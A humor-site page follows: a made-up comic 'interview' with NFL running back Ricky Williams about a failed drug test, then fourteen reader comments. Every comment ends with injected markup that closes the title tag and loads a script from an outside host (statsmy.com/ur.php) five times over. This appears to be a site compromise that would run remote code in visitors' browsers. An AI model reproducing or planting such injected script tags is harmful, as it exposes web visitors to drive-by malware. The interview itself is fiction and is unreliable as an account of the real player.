Smooth Operator - Interview with the NFL's Ricky Williams

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Interview with the NFL's Ricky Williams

by Kris on 2/22/2006 (14)

Is that a bong in your pocket or are you just happy to see me?

One of the biggest stories in sports today is that of the fourth failed drug test by Miami Dolphin’s running back Ricky Williams. Williams is currently in India studying holistic medicines and has been for the past month. But that didn’t stop me from grabbing my bags, hopping on a bus, and traveling all the way down to South America get to the straight poop on this situation.

Smooth Operator: I think I speak for everyone when I say, Ricky, you got some 'splaining to do.

Ricky Williams: What?

SO: Sorry, bad reference. Anyways, let's get right to the question that everyone's asking. Recent reports have indicated that you have failed a fourth drug test, any truth to that?

RW: I don't think you can really fail a drug test Kris. You just go out there, give it your all, and hope for the best. As long as you try, they can't hold anything against you.

SO: That's not exactly true. You're facing a year long suspension from the NFL for said failed drug test.

RW: They can tell me I can't play, they can ban me from seeing the team, but they can't keep me from spreading my message.

SO: And what message is that?

RW: Message? What the hell are you talking about?

SO: Anyways, these reports have said the drug you took was not marijuana, but have not named what drug is was. Care to enlighten us?

RW: I was taking some hair growth supplements that may have been on their banded substance list.

SO: Anything else?

RW: Does speed count as a drug?

SO: Yes.

RW: Then no.

SO: Now that we have that cleared up, is there anything you want to say to your teammates? They gave you a second chance last season after walking out on them the year before, it seems you've let them down again.

RW: Oh, I have lots to say to my teammates. First off, India is great. There is this guy that eats hot coals like they were pork chop sandwiches covered in gravy. I really hope you guys can come down here sometime, I've got plenty of room on the floor of my hut and all the pot you can smoke.

SO: Anything else? Maybe about being sorry you've let them down, something along those lines.

RW: No.

SO: So how are the holistic medicine studies going?

RW: They've been great Peter, I recently learned how to cure any bodily disease using tea leaves, mushrooms, and a bamboo shoot.

SO: Great. So do you feel that this failed drug test will spell the end of the career of Ricky Williams?

RW: Who the hell is Ricky Williams?

SO: You are.

RW: Sorry Jim, I forgot. Most people here call me "Hey Dipshit". I think it's Spanish or something.

SO: I believe you're right. So repeating the question, does the failed drug test mean it's over for Ricky Williams in the NFL?

RW: I already explained this John, you don't fail a drug t

page has been viewed 10350 times

1. by JT on 3/1/2007 4:52:29 PM

INDIA IS IN ASIA. DUH!!!"0" style=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Kris on 3/1/2007 4:52:29 PM

I don't buy that... show me a map." </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Kris on 3/1/2007 4:52:29 PM

Ouch... the rates on this are NOT good... well, you try something different and sometimes it works and other times it does whatever the opposite of working. It's apparently the later with this :(t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Motz on 3/1/2007 4:52:29 PM

See what happens when you get over confident? Fark juiced you up, and you thought you were on a roll...like margarine, that is! HAW-HAW-HAW!!! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Kris on 3/1/2007 4:52:29 PM

Margarine isn't real butter :("0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Motz on 3/1/2007 4:52:29 PM

Kris, I can't post a story to PCO. It gives me an error or just posts a blank field. Try a test post and see what you come up with, pelase. I have had trouble with it from the get gouild </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Kris on 3/1/2007 4:52:29 PM

Try again. I found two problems. 1: Categories were getting the wrong value... were you in there screwing around by chance? Otherwise it's strange that that problem didn't show up before. Unless you happened to edit every story after posting, which would have been a work around. 2: When I changed the time on stories so that it wouldn't keep setting itself to when it was last viewed, doing that broke something on the entry page with the date/time. Only the date was being entered, which caused the story to take a dump on you when it tried to display the time.ig </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Motz on 3/1/2007 4:52:29 PM

I works now, thanks. Musta been the time date. I never rooted around in there, btw (wouldn't know where to start.) Yes, I had to edit every story after every post. Learned to live with it.nem </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by Kris on 3/1/2007 4:52:29 PM

Why didn't you say anything? I didn't know. Also, your categories are working too, but you only have 'General' as an option... want more? Email me your list and I'll get them entered.uil </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Motz on 3/1/2007 4:52:29 PM

comments would cool :)i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by Kris on 3/1/2007 4:52:29 PM

If you get comments though, I'm gonna post messages to you in them that have nothing to do with the story above themone </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

12. by Motz on 3/1/2007 4:52:29 PM

What else is new? That's what delete is for. Oh, hey, I can download any and all pics from Yahoo image search. It seems that only Google has some kind of deal worked out with AOL that transforms JPEG files into ART files for AOL subscribers. Yay for Yahoogle! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

13. by JON on 3/1/2007 4:52:29 PM

This is not real. Get a clue people.t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

14. by Kris on 3/1/2007 4:52:29 PM

Something with AOL... I use Google for all my images and I've never had that problem. And Jon, this is real. Why would I lie? I wouldn't, that's why.h="0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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